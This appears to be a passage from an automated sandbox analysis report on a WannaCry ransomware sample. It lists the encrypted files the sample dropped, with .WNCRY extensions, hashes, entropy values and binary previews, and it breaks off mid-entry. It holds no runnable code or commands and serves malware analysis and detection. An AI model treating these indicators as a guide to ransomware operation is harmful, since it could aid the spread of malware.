                                                                                                      Preview:WANACRY!.....X$$..L.R..:..d....b.w....D..F....O$1.K....@.Js........wVR.9.qb.f..G...T.L.G.W....)...vX...e.....=&..Q...^.|1......m.q.'.....N_....C.H.[..:e_..a....V..TJ.6..D.b.r'..v".k.l.562..Yax.<q.(...S...+....7..Z..d....<....6..$UQ...1p../.?E[L...GWH.~+.....$........!..jr......>...>".8f.......koJ1..r..K...2P..^.b%..7h...c..4........~...".]...jk..w.|.9..kS.V.Hu....?ar..m.U...[..J..?...Xi..C.....AL.#i...{U..0S....[H....S...4..`....tS..!;,..N ..ft.[ .....B.t#.....4.....lB...r7..a.>.K.E.}.H..W.....-.........-<.L.j._iM..H.P..O.($.&...U... .ok|x.r.D.4..t...~.^.[)......E!.J.{`.Q.y%...........`q....XQG.|k?>.Q|9. .l.....P...9...B..~.-..;..B..4...H....'.*....8.W..Q..o.T....C..........JZZ..,.F..}.1.9.U\.b..U`./....6.G.'N.b....95....Z..y.F....f...m,.....T|.............d......NQ..e.T(/H..|..ZSSi(_....p.k.....G.(&.....l=l0w...L.Cu.R.nO.-}..Y@..W:...o...{.J~&...6..jPX......l+Q{8y. ..|<.l.g}.&..2.....Zp..~e..G.N.kKtK..O.c6..K.X.J.\\..5YG+._.....<...m..*.

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.80541335879663
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:kUSOWw8doyZwgfAA7VVCARedr71lB0zcN6cTmRr/7:wanybAMUd3BcDYmRr7
                                                                                                      MD5:C5609B4FA7CDDB9C7A839CC52912B139
                                                                                                      SHA1:FEEDDB975871C84AF20CDAD3280065467A658D6C
                                                                                                      SHA-256:168984123FA7BCA53C6C1F05C5B4AB0AA7399D3B2D570477400C6E4C6E1C0725
                                                                                                      SHA-512:9F40BEE524FDAF13BAC9C8D0264CFB748C0576D20402042773726107979CD0F24DB6D7E89AF91BE16DBEE140B46C5FDB559D145C921D6C0BD36AC932828AF1CB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.Fd.c7._$R#.<x.Z=...sWL+..PyL..]j.`...3..Tn....[....-...d....T.|+../T.t..A.....z..k]S.'..W.?.s..%V..".,...q..|...>L.o........}Ar.n..%^....;..... 4...%.?.2j...3,62... .....Qn&....BP .OU.*..D..6.W2.DL.Vy$m@vQ#q.6#V..TY....d.S..L..a.........=ug.....:P.../....H.......".W_.DL.P..^@............X....Y......._..j....R...;\E..U..U..W./\:...?|{...d..22@'..r,..q...s....0.EV.*....v .,.T..\g..."..eixy..3b...!;.......G.#.....1..9G..f.+.....SN\O.j.......c-..a2j....o...!...Na.TX..*h..i4qH...ir4...i)s...`.....$......R...... .J%.....^....a........%.>x.Y.w...#..{....0O{..1..Cf..k.O..._...V.I.k."F...q...p<.!..a......prCb...z.R.8..J........X....U...{...y.M..D...R...b}.IU89.R...?.....C....*....;-.E.n.Hl*.....;..RN1.v...N..u...H.6.!f..El...\Ei#.*{.j...t..(.w...C..I..~W%m/X.$....C>..1.j`..-....$...{..c!...A..;>........X..l..(..S....&.QG...4 i.C9JYO7Y~....?~\.....~LQ..z..uw.J.!..(......R.......y@Q`Vp.:.bY.!m.M..y.pZ.g....6L (...#..%.{!..R`.|..4..

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.832732796254489
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bke+pluv57B9lOaMGtE7iqPURYsM/sHIA5w44gWAIAvyi7dyLpocTsYpd3:bkblItlX3qcSs+soU4g1N7diKy3
                                                                                                      MD5:4E464E5E69DA2FC2EB282ACE93C87C1D
                                                                                                      SHA1:5204FA27BBDEC059C6CABFBB1503A4C857C8147E
                                                                                                      SHA-256:B7F1E2BF47587CF11D1F234C1DEE277194E1DE4A8F42FB46278BAFAF2130572B
                                                                                                      SHA-512:A966757E8B6E6E66226D6B0DE505BEC2362BAB71DB2CBA79C8504A3CF02BB208C37257CD14EEB9A6EE923F5936A0B78758611E1BAC0D9DB8AD4593E213A20AE7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......nG.'D...R8..N;.....ru.M..<.W..........DD.Q1>..k......M...tl..9..^..?k..f..qFI.j..8>.^.Y...5B..WW.I.]d...._...!Y...j.6...n..S......|Agf.,........1.V...6..oV.A.Xw..1...((...".......O,.<.<KD.........*.....W...O.8._6T.f@/.W.P.....5.z>...s.^g.A5..(............j.UW..v..@.(.R0w..F.......+Y=.9d...x8'....>.(.....).X......uG.{...S......A5.+......\...&].T.I`..N.,.V.qO_qa.CW?.....-5.H..<..4X;X.N.G.j,..Y.@...kX.2....BP.L.....*~.O....pG.>..]..1l./~.....8..(0..lb...........(."!.{,.<......*N6.A..{.S.......v.....PeI.S.(6...W`R..Uyv...m...Z. .q.:9..ZT0.A..W .>..q&.E=.....h!.0...Q..N...v.8.".?.X.D....wP...Yf.]..|...o...9.U....E...B.^.....D..w.T.....p..G.....B..Z)_....J.q..B-.0.w5:..q..a.b.x`.....G.s;.D.....%..9y..fre../....38[v...F..iNZ.)D......"...#7....;.L...@.Q~.H<.............g...9...'n.6..;.....y..5gOyX.T....pJ.....8.....kz.s..@.s._.e+&<....X}.m...O......<T..I_)..?F.g.-L..!.mm..z.h9..I..:...$X...uq).^Y.\6..\E3.q......*....F.%E<..ZY.........'R

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.832732796254489
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bke+pluv57B9lOaMGtE7iqPURYsM/sHIA5w44gWAIAvyi7dyLpocTsYpd3:bkblItlX3qcSs+soU4g1N7diKy3
                                                                                                      MD5:4E464E5E69DA2FC2EB282ACE93C87C1D
                                                                                                      SHA1:5204FA27BBDEC059C6CABFBB1503A4C857C8147E
                                                                                                      SHA-256:B7F1E2BF47587CF11D1F234C1DEE277194E1DE4A8F42FB46278BAFAF2130572B
                                                                                                      SHA-512:A966757E8B6E6E66226D6B0DE505BEC2362BAB71DB2CBA79C8504A3CF02BB208C37257CD14EEB9A6EE923F5936A0B78758611E1BAC0D9DB8AD4593E213A20AE7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......nG.'D...R8..N;.....ru.M..<.W..........DD.Q1>..k......M...tl..9..^..?k..f..qFI.j..8>.^.Y...5B..WW.I.]d...._...!Y...j.6...n..S......|Agf.,........1.V...6..oV.A.Xw..1...((...".......O,.<.<KD.........*.....W...O.8._6T.f@/.W.P.....5.z>...s.^g.A5..(............j.UW..v..@.(.R0w..F.......+Y=.9d...x8'....>.(.....).X......uG.{...S......A5.+......\...&].T.I`..N.,.V.qO_qa.CW?.....-5.H..<..4X;X.N.G.j,..Y.@...kX.2....BP.L.....*~.O....pG.>..]..1l./~.....8..(0..lb...........(."!.{,.<......*N6.A..{.S.......v.....PeI.S.(6...W`R..Uyv...m...Z. .q.:9..ZT0.A..W .>..q&.E=.....h!.0...Q..N...v.8.".?.X.D....wP...Yf.]..|...o...9.U....E...B.^.....D..w.T.....p..G.....B..Z)_....J.q..B-.0.w5:..q..a.b.x`.....G.s;.D.....%..9y..fre../....38[v...F..iNZ.)D......"...#7....;.L...@.Q~.H<.............g...9...'n.6..;.....y..5gOyX.T....pJ.....8.....kz.s..@.s._.e+&<....X}.m...O......<T..I_)..?F.g.-L..!.mm..z.h9..I..:...$X...uq).^Y.\6..\E3.q......*....F.%E<..ZY.........'R

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.813577787053319
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1g9xd0zb/qBLfJ3ExMs8Hm2W6Ubw91iJ2iczmvnncWB7J:1g9xWv/ErJmRym2W6UYk2NzOBF
                                                                                                      MD5:3995248999FAA88C70006D5A486044F6
                                                                                                      SHA1:88AB6FD80939F013920FDD76FF9F3FEB9A270A12
                                                                                                      SHA-256:979162EE0C495F9CA4DC862E2535D8021C2CEEDD9111909EA7A09CEB4E969DC6
                                                                                                      SHA-512:B553498035BB558C149860F18637ACDE2115AD56699A3685B94508397B93A891F038E7708F3584687CC622FB2A4C613E4C5013C5AC9C60113E02D5032DE72B4E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:......0..s..+UqG....y.oL.=q)...|.G.[.sB.e^E.......7S....$'B=....p$;..b.......NWlF.Lc..!......"+$=!.{..[.....hg.../..z...v.yL.F..n.0$...O.kG0...g..~.[.D..."~..rp...w....;^*.*./...1.....=.b....&gD........5...1..<..sFE.K..S..F:I.yD=Z.=...dJ.Cf%....(.H.|."6...W......M',.....w.K..P........>....q;.X..Q.u.h|....MJ@....W.9...p.*.4.+....-D:.g^YV.......j.k84.b...hv$.W.?.op2 ..q=.lH......>..*:.e.(.n..x.g.u>.9.".rd.R.v(h..86..L2..S.c.V.V.Q..i.uW..;..9N2.b.5..<.e..?B3C......%..C!G.0..Qf.:.].u8.$.c.4J.%.kO....:N......:^...g.t.I.Bp.a].%....>..G_.....hC.=....eq_...h...E.M...%k..U.<.l....q|/o(.beso4-A].1..z~...s9....1..j...B}3.Vi..P(,.=....r6+....7.U........R.U...Q.....n......I.YUs.%.='M......~../.jm`.T..a....4.}Q0.h.t........9P........W.K...L..D.Ao...|..&.^..F4.....;..Ef........D.u]<..Q..+S.!..\...V...h..N...g.^.2j`....}..0....$..1\...bh......OT.&.(.....MYT..P.:.8..^...+.m...I;.....<.ISH3.E....t.....)..`.).J...l.$...>.U.{=!...MRhH.....*..."l .0..t.QN..6.7.dgBJ.

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855788665878774
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkV++XRhProPnKN2huEsL1gxrolu7V0eNUAY2jjGU/5t1fQ5HpTiV/mPpmkB2S10:bkxXfzoPn5PxYWUAJjhXBGHp2/mPpb8
                                                                                                      MD5:618945A5C185F270A75522E04400D577
                                                                                                      SHA1:E88F40192799F3E05A7C848179B7E095A4244AC0
                                                                                                      SHA-256:B8D4C2D75F81AE34409063B9148276A5ACCDB0E587494E83F479BCC54F2FC2F6
                                                                                                      SHA-512:A6987D2CF071C8CB797F5E55FCDCA3889CDCBD7DD62FFC2AA0CB3AC5A8E25FD78E95165CFF49D07C7E855DB0D1C4A5D1AE6ECC25F02C9F5C955756790D84D442
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...."bi.....;.xrJ.2f.l~.C|..Y..;.Y&...W....}..y..{..w......!.YE.EZ.....$.6z.z..]:.&.6.8..!vn)le.#.Ke..6.yU....~...:.......U.~F....,.....0.pXS.K..:...<P...>....6z....%B.{.q.....u.g..e.b.g......(X0..i...\..=.r..R.:?..9...P1.....o/.F?..R..q.b|..Q..............B..<.Ko#E.a..2.4v.d..G .....U...t./B.d..J....q......8v.......1............f*.H...>Me>.:..h..L..l..=772L^B...x.c...|.w.m....K...........g...9..gC...3G.ks..H.v...q.d.C<......H...v?.6....w.2.-.".....5-@B.....f.!).n!Ja.z.~.fI..b9ME."..>.....H.....*.....|,g.XxE."[E...w.n..2'.I..zXv...$.......p....#.W..j......\m|.....+./}.0QI.@O..#....e_JY1...;i...wn.:..X...@N. A...V....._h.R.J..n>6-AS[r.....Z.w...R0..C.00#..1.g.gF..8..W....I\F...eX...T...xl.U.7..q......d...!B)..Z..+R;...H..h.....).l~"un.*y.1g..e..t..k...j{S.....c.....xw..u4.8....vp.V..TY.U.1hB.W......t*.../\N...g.J.....>.$sN.iY.x...........'.AEW..&....X5..K...........'....N+=*T.].b.}...Sr?+.fM...b.bZ3.Vs....f.H.z.+.WM-M...7......|`.n

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855788665878774
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkV++XRhProPnKN2huEsL1gxrolu7V0eNUAY2jjGU/5t1fQ5HpTiV/mPpmkB2S10:bkxXfzoPn5PxYWUAJjhXBGHp2/mPpb8
                                                                                                      MD5:618945A5C185F270A75522E04400D577
                                                                                                      SHA1:E88F40192799F3E05A7C848179B7E095A4244AC0
                                                                                                      SHA-256:B8D4C2D75F81AE34409063B9148276A5ACCDB0E587494E83F479BCC54F2FC2F6
                                                                                                      SHA-512:A6987D2CF071C8CB797F5E55FCDCA3889CDCBD7DD62FFC2AA0CB3AC5A8E25FD78E95165CFF49D07C7E855DB0D1C4A5D1AE6ECC25F02C9F5C955756790D84D442
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...."bi.....;.xrJ.2f.l~.C|..Y..;.Y&...W....}..y..{..w......!.YE.EZ.....$.6z.z..]:.&.6.8..!vn)le.#.Ke..6.yU....~...:.......U.~F....,.....0.pXS.K..:...<P...>....6z....%B.{.q.....u.g..e.b.g......(X0..i...\..=.r..R.:?..9...P1.....o/.F?..R..q.b|..Q..............B..<.Ko#E.a..2.4v.d..G .....U...t./B.d..J....q......8v.......1............f*.H...>Me>.:..h..L..l..=772L^B...x.c...|.w.m....K...........g...9..gC...3G.ks..H.v...q.d.C<......H...v?.6....w.2.-.".....5-@B.....f.!).n!Ja.z.~.fI..b9ME."..>.....H.....*.....|,g.XxE."[E...w.n..2'.I..zXv...$.......p....#.W..j......\m|.....+./}.0QI.@O..#....e_JY1...;i...wn.:..X...@N. A...V....._h.R.J..n>6-AS[r.....Z.w...R0..C.00#..1.g.gF..8..W....I\F...eX...T...xl.U.7..q......d...!B)..Z..+R;...H..h.....).l~"un.*y.1g..e..t..k...j{S.....c.....xw..u4.8....vp.V..TY.U.1hB.W......t*.../\N...g.J.....>.$sN.iY.x...........'.AEW..&....X5..K...........'....N+=*T.].b.}...Sr?+.fM...b.bZ3.Vs....f.H.z.+.WM-M...7......|`.n

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.83119813805605
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:tkaslV+ilHlcvIIQal61w+U6w32laC6dB856/MK:t4bFb4J6w3el0YKL
                                                                                                      MD5:01371EE21B228433EC82D31FD180FC51
                                                                                                      SHA1:B9701A01687AA69B572B1801865F22A66EBCA7E2
                                                                                                      SHA-256:36F8DE1BD027B9F6504C9BDE78C193211B3EBCF11243519311C6E0617BDE3752
                                                                                                      SHA-512:9EE45B1D88CD488434999101FAB47A8B608BFA79C618D4C2251A9F818EB719E3CC34326610F7629344FF8261D9C44D49967DBFFC51667944ADCB0852A9080FEA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q......6bVY......_...~TggF....O.!`.,7_M.....'.. .S]...5.Q+^.......<PzF.qs&.RHN]Ex.....8K.[.....?N.0;.S.u.mjL.....R..y.7.._B.3.6...}Qk...d.......4S....B..ss...K.L..!...A.t,.OZ$........N zNQ.<.@.. k..x.;'!.n.....V..).Ac.>.E.zk.......2..!]A....L...ns...`C@^...w.ok.%..j...y.......|T.a.+=.....2..J.t.~.4........[c.5F..n*R....N..4..&.r....H.:Z........Q......<s-.{.......t*...2..R.~f/o.H..zy..\.7.tc\"..x.CN......:t....B:.F&.....l....Kl...(_.2...>..5..|......1V`..5v.Xi..>..,.[8$..?C.F.&u..x<Rl^..H'.l....Z.+.......j.Sp...c.$...*.3.r...g...:+gE..Z.Y.t.P......kj.1....i.....F1....1..'_......W...6.KhG.....d6h..n..r...k..[.4...w..7.w{9.G'..E0.9j..J.^.(.n..\.k"...z.~.).G..De.....K.Z.........~s)..T..1...a..G.m..hC(._mF."c....Q..O... .....N~{..2.....Xs._Z....-^........7......&.ZR.7`z..a.b..K:\h...)...X=#...9........#.]..R......}Q.]..=}.o]...>....p.\u.....jv`I^*..gd. ..%#....ZUz.:.H.0L.........0..K.+...'."<........=.C*$..)}..F...d.....hg...)..3~cZ\/.s@AI.....

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.823355187721123
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk9fSLCLMxhiwagdOFOn/5uPU/rbiPjWAuYmuRhUzgA/10VaDqkWJKWPn4XZR:bk8A1ZcCCAhPyMo18aliKR
                                                                                                      MD5:C216B053407A100F634854376803DAC8
                                                                                                      SHA1:4841AF6ACCBBEB5CBD4CFAE2177864B6D9827770
                                                                                                      SHA-256:55A20CA56A77ED1EED38B95BBCC02E64C49DAC286EABD8F4B283C53971C31873
                                                                                                      SHA-512:D64FD4F8EAFA7E202646160E7E56D828C4CC48F7080C8C901FF1DDCADB278F23CF2A82C9DAF424AAA3420CE0AC0BBF35D56385FBEF8AFB458EE6D260C487244F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....1.z.K..v.Wx%..F...*.E+..}(...@...[%...6..6.XU.m.n.7.C....V.-.3L.u..b].:.....r..y.BsWzu#.D4..A.....,.......'b..g......."..T.W} .H.>.>.L?.a]7..<\...mN*.g8.i....>.w.0....:.N!......9.6)*o..-y.s..b.....4=..........o.I.{.k.O?0.~.{:r..S...>...j.;.f\...............,.....Pi.i.f..zm...-....!b.....oM6.[...S...,m-c.V......,.....%.Ni..P(...)]..+...2.%5.uv.,..."..Z......g......7$.u......tBm....d*.R........<]y..,.....p\.uh...}p..k....0..x._..}4.,...(..#B...@X..,c9./.%..oqmn........46H..n.%....w2.r...Q...1...9^..?t..#...#.X..9..\SAH@......u..&...t.4..N..0......a.[.4...g...>5.oy..X.C.p.I.'.$..T.l.:.n.E.l....6....&L.H..~5....O..OT.kG..N..-..8.:...:..r.....2..Z....I...{........tG$...F...Y..z..,I....?....pk.\..n.<......H..o2...Ph.9..v..q.Q..1....rY..Q.[..q.o.......y.}bc.$...F..m..rZ..$.c......k..NS2.....z....XG...sM}......$.W..u/..|....e..l..!...q.:..5...c..|.c..P...@S..l).ms.J..WN.b".8.7..u..l....Y.._D..,..:..d...J.:.(.b.k*.M..n....v.....(..7

                                                                                                      C:\Users\user\Documents\PALRGUCVEH.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.823355187721123
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk9fSLCLMxhiwagdOFOn/5uPU/rbiPjWAuYmuRhUzgA/10VaDqkWJKWPn4XZR:bk8A1ZcCCAhPyMo18aliKR
                                                                                                      MD5:C216B053407A100F634854376803DAC8
                                                                                                      SHA1:4841AF6ACCBBEB5CBD4CFAE2177864B6D9827770
                                                                                                      SHA-256:55A20CA56A77ED1EED38B95BBCC02E64C49DAC286EABD8F4B283C53971C31873
                                                                                                      SHA-512:D64FD4F8EAFA7E202646160E7E56D828C4CC48F7080C8C901FF1DDCADB278F23CF2A82C9DAF424AAA3420CE0AC0BBF35D56385FBEF8AFB458EE6D260C487244F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....1.z.K..v.Wx%..F...*.E+..}(...@...[%...6..6.XU.m.n.7.C....V.-.3L.u..b].:.....r..y.BsWzu#.D4..A.....,.......'b..g......."..T.W} .H.>.>.L?.a]7..<\...mN*.g8.i....>.w.0....:.N!......9.6)*o..-y.s..b.....4=..........o.I.{.k.O?0.~.{:r..S...>...j.;.f\...............,.....Pi.i.f..zm...-....!b.....oM6.[...S...,m-c.V......,.....%.Ni..P(...)]..+...2.%5.uv.,..."..Z......g......7$.u......tBm....d*.R........<]y..,.....p\.uh...}p..k....0..x._..}4.,...(..#B...@X..,c9./.%..oqmn........46H..n.%....w2.r...Q...1...9^..?t..#...#.X..9..\SAH@......u..&...t.4..N..0......a.[.4...g...>5.oy..X.C.p.I.'.$..T.l.:.n.E.l....6....&L.H..~5....O..OT.kG..N..-..8.:...:..r.....2..Z....I...{........tG$...F...Y..z..,I....?....pk.\..n.<......H..o2...Ph.9..v..q.Q..1....rY..Q.[..q.o.......y.}bc.$...F..m..rZ..$.c......k..NS2.....z....XG...sM}......$.W..u/..|....e..l..!...q.:..5...c..|.c..P...@S..l).ms.J..WN.b".8.7..u..l....Y.._D..,..:..d...J.:.(.b.k*.M..n....v.....(..7

                                                                                                      C:\Users\user\Documents\ZGGKNSUKOP.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.80692384306943
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1g0U666kksc7F8lXC8PAsr+9CWB2COoZORUkVAIMzJs6UwIpI7QCrU:1g0AcB+YsycE2CbdkiIMQwndU
                                                                                                      MD5:725DA37827AC717D778C8A25D6B9855C
                                                                                                      SHA1:721E7A1916E06373216D3D17C8F313944754A4C2
                                                                                                      SHA-256:E016063DD2169117873A247A662804D7B97028F1CE2D113209CA76E7980890B4
                                                                                                      SHA-512:EF7F6D2D3CFE4C0133425AD499B374378DE37F5A80D6889D4D4FB8EB9BB52A36877B93BC5D05EE7C76903FC5CAE24AC969FACAD747C5974CF541F2817726F90F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.KIqX)t/..L.?..T.P...a=.S.A.[.Y..qJm..-....9.|t..........;B.R...E..+.~E...jpIz.5\..;.iC8.uv...].b.8..u.js......O.g.$k.yj8...oh..K.C.D...Wts".0..wN#..K._H.~...0.T.#n......U..P.......n.....s..&...:....m.G...6.GTO..(.I.&.._.K..R8...Q...LM.G......9..1...?fq..?./+...G..2..X..~.Kc.m..j.d.s.,BR\.,.e...me.,gj._DtoS5.j..8.=...Fq%..N..A.U.......0..........N....@.......W7.....4.....f.h.......S"...~....dj'"H(^.n7.6...........*.rtD.....=wM....;..@W=sV..ki...J.....xA.p;....D..x53..9...H;.......h.^..k.fdH...1.^smW.t&...=G.H..&/...+....p..2..[.......Y..xH...7....g..?.,0...Hkb.^..._.]...K.)...R.E..}...@...,A.9.....lu.4.......$..4.:.)T...~...D.y.8Wz...#.<...".22.S.o.D....g0.z.P)....s.u+.sp......r.|.:.....tm../....l.+5..._....+F....z..w..:....8<.%.S5.?....X.........C...P{..C.itc.T`.s......8...7.}Pb.&Fk.hM..+...1@H.Sm.>4M../...&^...J.t....wH..@.9W.|.F......r#.h..0`....Z......x_.a.o.:4..r..3.._..t......W6..P.x......&......R..!W....lI....8B....28.fd..R

                                                                                                      C:\Users\user\Documents\ZGGKNSUKOP.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.830109772507364
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkbD9hd3Jmprh037PBwyoSzySUjVNqUaPBgvtmRLi9jqG3P2Lf/3BIXWVhK2yk8G:bkbDBSorBn234UaOvtrjrQn3BIXWVQ23
                                                                                                      MD5:D00763F7D42824663E9DD8FE118E8286
                                                                                                      SHA1:37FA538C5D18200D1E003EB60354D56ECD207462
                                                                                                      SHA-256:70CD4C140252F9F8E21A3681EDDF561C55604BAB8E3CE8B057C2D0EC9EAF2B83
                                                                                                      SHA-512:FB03300F66C7B89DCD6C10F97810F66CA47E14619C4F170CC12CD13BD5899AABC75AB8B8B461E2157DF4053212D17F6A29B113588ACFAABD2B9C73AF6701E3F5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....d'.'$vl.....J.......NG...5T.....^hG.0...(_A.=o..^.V..5O.Y............dw.p..V..(..%.(.N..nC[......2z.>..f..W.n#.1..O.AKa5hNy_<'...X.9?;.... ..\.l='..m^w..,=.._'Kq"qL. L-.....6+V..d..|..M.}..`.DRZ(D.2o.8S~..\3....6l...8..n.....]`Y..9........X...B;>............,.h..x...l..P.).../.F.99K.._...1.........Nt..|..k......Gf-.f.....5..B.5J........p..$..eRJ^6.....q>.z.cb.N.QT'E..HC.h...!..JD.......V.U.U......`g....F...P......=4.....;..Q..|.Z.]..[?..)y.g.....j.W.X.......:.D1H?.!T.1...?.J.x_`.E;...l'.+..%+.+.\.0....Y+.%3.+.Zq...TI.............b...G.;.B...v......... b.<....$...c]YZ...|..VD......R..../...........*..{..A.s.T.e...+..!..C.F...$_.7...=mZ.Z.....Y..e=.N.7d...T".p".b.)...._RX..[......x...n.....U.c./.,.5.9..m_..J.+.-..N6...se.~..P....b5.?R`...2.\QX.,.w...A..2..o........T.d.h.....`.zj.0.lM.7+.8)~.&$..`..Q.0...)......(z...n.].mu5..Z..g...`{,;:J3...LB.w..j^..Q.i>..OXk.@.#Dc:._....U.....wUY*b..g-Z..A.n......e.ls..w....1..2...9k....b...G

                                                                                                      C:\Users\user\Documents\ZGGKNSUKOP.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.830109772507364
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkbD9hd3Jmprh037PBwyoSzySUjVNqUaPBgvtmRLi9jqG3P2Lf/3BIXWVhK2yk8G:bkbDBSorBn234UaOvtrjrQn3BIXWVQ23
                                                                                                      MD5:D00763F7D42824663E9DD8FE118E8286
                                                                                                      SHA1:37FA538C5D18200D1E003EB60354D56ECD207462
                                                                                                      SHA-256:70CD4C140252F9F8E21A3681EDDF561C55604BAB8E3CE8B057C2D0EC9EAF2B83
                                                                                                      SHA-512:FB03300F66C7B89DCD6C10F97810F66CA47E14619C4F170CC12CD13BD5899AABC75AB8B8B461E2157DF4053212D17F6A29B113588ACFAABD2B9C73AF6701E3F5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....d'.'$vl.....J.......NG...5T.....^hG.0...(_A.=o..^.V..5O.Y............dw.p..V..(..%.(.N..nC[......2z.>..f..W.n#.1..O.AKa5hNy_<'...X.9?;.... ..\.l='..m^w..,=.._'Kq"qL. L-.....6+V..d..|..M.}..`.DRZ(D.2o.8S~..\3....6l...8..n.....]`Y..9........X...B;>............,.h..x...l..P.).../.F.99K.._...1.........Nt..|..k......Gf-.f.....5..B.5J........p..$..eRJ^6.....q>.z.cb.N.QT'E..HC.h...!..JD.......V.U.U......`g....F...P......=4.....;..Q..|.Z.]..[?..)y.g.....j.W.X.......:.D1H?.!T.1...?.J.x_`.E;...l'.+..%+.+.\.0....Y+.%3.+.Zq...TI.............b...G.;.B...v......... b.<....$...c]YZ...|..VD......R..../...........*..{..A.s.T.e...+..!..C.F...$_.7...=mZ.Z.....Y..e=.N.7d...T".p".b.)...._RX..[......x...n.....U.c./.,.5.9..m_..J.+.-..N6...se.~..P....b5.?R`...2.\QX.,.w...A..2..o........T.d.h.....`.zj.0.lM.7+.8)~.&$..`..Q.0...)......(z...n.].mu5..Z..g...`{,;:J3...LB.w..j^..Q.i>..OXk.@.#Dc:._....U.....wUY*b..g-Z..A.n......e.ls..w....1..2...9k....b...G

                                                                                                      C:\Users\user\Documents\ZGGKNSUKOP.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.795872985753507
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:gMdg5/qsRH0T9+yNLv7mDU527VvcyRFI+NIbiyB8uCjHP4Ci:z+1lRH0TdLTCB4+NsB8vjHP4h
                                                                                                      MD5:374C772FD6A0726D1B22A653A382F93B
                                                                                                      SHA1:BDE5FF1E48CF199BCD26277E81641FDEDA907D21
